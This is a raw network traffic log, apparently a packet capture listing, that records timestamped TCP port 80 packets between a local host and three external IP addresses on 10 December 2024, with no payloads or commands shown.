Dec 10, 2024 05:10:13.562536955 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.562585115 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.563455105 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.563503027 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.563560963 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.563611984 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.564496994 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.564542055 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.564603090 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.564649105 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.565505981 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.565555096 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.565592051 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.565637112 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.566519976 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.566564083 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.566617012 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.566660881 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.567595959 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.567641973 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.567760944 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.567806005 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.568567991 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.568612099 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.568679094 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.568727016 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.569597960 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.569662094 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.569693089 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.569740057 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.570612907 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.570657969 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.570674896 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.570720911 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.571643114 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.571691990 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.571744919 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.571789026 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.572670937 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.572712898 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.572760105 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.572803020 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.573694944 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.573739052 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.573776960 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.573820114 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.574737072 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.574781895 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.574820042 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.574865103 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.575731993 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.575783968 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.575825930 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.575870991 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.576720953 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.576770067 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.715338945 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.715409040 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.715415001 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.715445042 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.715617895 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.715707064 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.715745926 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.718187094 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.718244076 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.718336105 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.718385935 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.719044924 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.719060898 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.719090939 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.719111919 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.719489098 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.719504118 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.719535112 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.719549894 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.719974041 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.720016956 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.720141888 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.720185995 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.721030951 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.721054077 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.721079111 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.721093893 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.721999884 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.722048044 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.722132921 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.722181082 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.722949982 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.722995043 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.723110914 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.723155022 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.724039078 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.724087000 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.724227905 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.724275112 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.725217104 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.725229979 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.725266933 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.726006031 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.726052999 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.726310968 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.726353884 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.727135897 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.727181911 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.727298021 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.727339983 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.728116989 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.728162050 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.728255987 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.728305101 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.729084015 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.729132891 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.729249954 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.729295969 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.730214119 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.730231047 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.730262041 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.730278969 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.731173038 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.731223106 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.731338978 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.731398106 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.732158899 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.732203960 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.732317924 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.732366085 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.733222008 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.733241081 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.733267069 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.733278990 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.734339952 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.734350920 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.734388113 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.735310078 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.735358953 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.735491037 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.735541105 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.736304998 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.736351013 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.736453056 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.736499071 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.737391949 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.737438917 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.737560034 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.737602949 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.738363981 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.738410950 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.738548040 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.738591909 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.739386082 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.739402056 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.739440918 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.740350962 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.740396976 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.740519047 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.740564108 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.741471052 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.741487980 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.741517067 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.741530895 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.742409945 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.742458105 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.742598057 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.742643118 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.743443966 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.743493080 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.743582010 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.743628979 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.744549036 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.744566917 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.744594097 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.744606972 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.745532990 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.745578051 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.745697975 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.745743990 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.746743917 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.746757030 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.746789932 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.747523069 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.747570992 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.747699022 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.747742891 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.748672962 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.748683929 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.748722076 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.749627113 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.749675035 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.749799013 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.749845028 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.750725031 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.750735998 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.750773907 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.751604080 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.751646996 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.751812935 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.751868963 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.752635956 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.752686977 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.752815962 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.752860069 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.753236055 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.753278017 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.753346920 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.753388882 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.755506992 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.755563974 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.755814075 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.755856037 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.756954908 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.757006884 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.757261992 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.757272005 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.757282019 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.757306099 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.757330894 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.757919073 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.757970095 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.758058071 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.758109093 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:13.758882046 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:13.758929014 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:16.087218046 CET	49828	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:16.087572098 CET	49849	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:16.206813097 CET	80	49849	185.215.113.43	192.168.2.5
Dec 10, 2024 05:10:16.206922054 CET	49849	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:16.207349062 CET	49849	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:16.207392931 CET	80	49828	185.215.113.43	192.168.2.5
Dec 10, 2024 05:10:16.207441092 CET	49828	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:16.336129904 CET	80	49849	185.215.113.43	192.168.2.5
Dec 10, 2024 05:10:17.551251888 CET	80	49849	185.215.113.43	192.168.2.5
Dec 10, 2024 05:10:17.551496983 CET	49849	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:17.555447102 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:17.674710989 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:17.674995899 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:17.684277058 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:17.803566933 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.010448933 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.010495901 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.010505915 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.010507107 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.010529995 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.010554075 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.010658979 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.010669947 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.010680914 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.010689974 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.010699034 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.010699987 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.010718107 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.010754108 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.010901928 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.010912895 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.010946035 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.129811049 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.129870892 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.129875898 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.129914999 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.202594042 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.202665091 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.202704906 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.202747107 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.206705093 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.206748009 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.206804991 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.206845045 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.215127945 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.215179920 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.215276003 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.215327978 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.223520994 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.223601103 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.223683119 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.223723888 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.231923103 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.231971025 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.231983900 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.232017040 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.240236044 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.240317106 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.240344048 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.240391970 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.248545885 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.248605013 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.248661995 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.248706102 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.256963968 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.257030010 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.257076979 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.257116079 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.265289068 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.265337944 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.265383005 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.265424013 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.273713112 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.273756027 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.273849964 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.273889065 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.281327963 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.281373024 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.281438112 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.281478882 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.322025061 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.322072983 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.394553900 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.394634962 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.394717932 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.397032976 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.397121906 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.397173882 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.400896072 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.401010036 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.401072025 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.406017065 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.406429052 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.406491995 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.411003113 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.411118984 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.411180019 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.415832043 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.415934086 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.416012049 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.420715094 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.420732975 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.420800924 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.425468922 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.425591946 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.425657988 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.430289984 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.430389881 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.430438995 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.435125113 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.435233116 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.435286999 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.439917088 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.440038919 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.440084934 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:19.444729090 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.444843054 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:19.444897890 CET	49855	80	192.168.2.5	185.215.113.16
